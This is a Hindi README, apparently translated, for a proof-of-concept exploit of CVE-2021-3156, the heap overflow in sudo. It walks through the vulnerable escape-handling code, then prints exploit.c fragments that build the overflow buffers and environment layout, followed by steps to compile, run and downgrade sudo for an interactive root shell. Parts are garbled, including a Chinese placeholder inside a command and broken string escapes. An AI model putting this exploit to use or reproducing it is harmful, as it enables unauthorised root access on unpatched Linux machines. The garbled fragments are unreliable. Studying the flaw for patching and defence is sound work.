
फिक्स्ड संस्करण
Dockerfile का उपयोग करके इमेज बनाएं
docker build -t cve-2021-3156:ubuntu2004 .
इमेज का उपयोग करके कंटेनर बनाएं
docker run --rm -it cve-2021-3156:ubuntu2004 /bin/bash
Sudo 1.9.5p2 से पहले के संस्करणों में, एक off-by-one त्रुटि मौजूद है, जो हीप-आधारित बफर ओवरफ्लो का कारण बन सकती है।
हमलावर निम्नलिखित निष्पादित करके:
sudoedit -s <参数以单个反斜杠 `\` 结尾>
बिना पासवर्ड के root तक विशेषाधिकार बढ़ा सकता है।
sudo 1.8.31p1 संस्करण के sudo स्रोत कोड के उदाहरण के रूप में लेते हुए, sudoedit -s निष्पादित करते समय, यदि escape कैरेक्टर \ इनपुट मौजूद है, तो सबसे पहले parse_args.c में parse_args फ़ंक्शन को कॉल करके कमांड पर escape प्रक्रिया की जाती है। नीचे दिया गया कोड इनपुट के विशेष कैरेक्टरों पर escape प्रक्रिया करेगा।
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
इसके बाद, बाहरी इनपुट मापदंडों को मेमोरी के हीप या स्टैक स्पेस में सहेजने से पहले, प्रोग्राम sudoers.c फ़ाइल में set_cmnd फ़ंक्शन को कॉल करता है और कमांड-लाइन मापदंडों को हीप मेमोरी में कॉपी करता है, जिसमें सभी escape कैरेक्टर \ को हटाने के लिए नीचे दिए गए कोड का उपयोग किया जाता है।
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
समस्या यह है: जब parse_args मापदंडों को escape नहीं करता है (अर्थात अतिरिक्त \ नहीं जोड़ता है), तो प्रोग्राम बाद में भी set_cmnd फ़ंक्शन में प्रवेश करता है और escape को हटाता है, लेकिन इनपुट \ पर escape प्रक्रिया नहीं होने के कारण, set_cnmd में प्रवेश करने के बाद if की शर्त पूरी हो जाती है, \ को छोड़ दिया जाता है, और \ के बाद के मापदंडों को user_args में कॉपी किया जाता है। यदि कॉपी की गई सामग्री बहुत लंबी है, तो हीप ओवरफ्लो हो सकता है।
exp दो भागों से बना है: exploit.c और shellcode.c, जिसमें exploit.c argv और envp को निर्मित करने के साथ-साथ execve के माध्यम से sudoedit को कॉल करने और हीप ओवरफ्लो के माध्यम से शोषण करने के लिए जिम्मेदार है।
exploit.c में, प्रोग्राम 0xf0 आकार के बफर (buf) का निर्माण करके हीप लेआउट को सटीक रूप से नियंत्रित करता है, बफर ओवरफ्लो का उपयोग करके महत्वपूर्ण संरचनाओं को अधिलेखित करता है। ओवरफ्लो का आकार buf के भराव ('Y' और \) द्वारा नियंत्रित किया जाता है, फिर execve के माध्यम से sudoedit को कॉल करके भेद्यता ट्रिगर की जाती है। char buf[0xf0] = {0};
memset(buf, 'Y', 0xe0);
strcat(buf, "\");
char* argv[] = {
"sudoedit",
"-s",
buf,
NULL};
LC_* पर्यावरण चर का उपयोग करके हीप समायोजन किया जाता है। इन पर्यावरण चरों के लेआउट के माध्यम से, लक्ष्य संरचना service_user ओवरफ्लो पथ में आवंटित हो जाती है। ओवरफ्लो डेटा overflow पर्यावरण चर के माध्यम से पारित किया जाता है और service_user संरचना के फ़ील्ड को अधिलेखित करता है। char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
memset(messages + strlen(messages), 'A', 0xb8);
char overflow[0x500] = {0};
memset(overflow, 'X', 0x4cf);
strcat(overflow, "\");
envp ऐरे के माध्यम से, ओवरफ्लो डेटा sudoedit को पारित किया जाता है, जिससे लक्ष्य संरचना अधिलेखित होती है और भेद्यता का शोषण होता है। char* envp[] = {
overflow,
"\", "\", "\", "\", "\", "\", "\", "\",
"XXXXXXX\",
// 省略部分内容
NULL};
execve कॉल के माध्यम से sudoedit का निष्पादन ट्रिगर किया जाता है। execve("/usr/bin/sudoedit", argv, envp);
Ubuntu 20.04 पर परीक्षण किया गया, sudo 1.8.31 के लिए।
आप निम्नलिखित कमांड से जांच सकते हैं कि आपका sudo संस्करण भेद्य है या नहीं:
$ sudoedit -s Y
यदि यह पासवर्ड माँगता है, तो संभवतः भेद्यता मौजूद है; यदि यह उपयोग जानकारी प्रिंट करता है, तो उस संस्करण में भेद्यता नहीं है।
परीक्षण के लिए आप निम्नलिखित कमांड से Ubuntu 20.04 पर sudo को भेद्य संस्करण में डाउनग्रेड कर सकते हैं:
$ sudo apt install sudo=1.8.31-1ubuntu1
उपयोग विधि शोषण को कंपाइल और निष्पादित करने के लिए make चलाएं:
$ make
$ ./exploit
भेद्यता का सफलतापूर्वक शोषण करने के बाद, एक इंटरैक्टिव root शेल प्राप्त होता है, जो विशेषाधिकार प्राप्त कार्यों को निष्पादित कर सकता है।
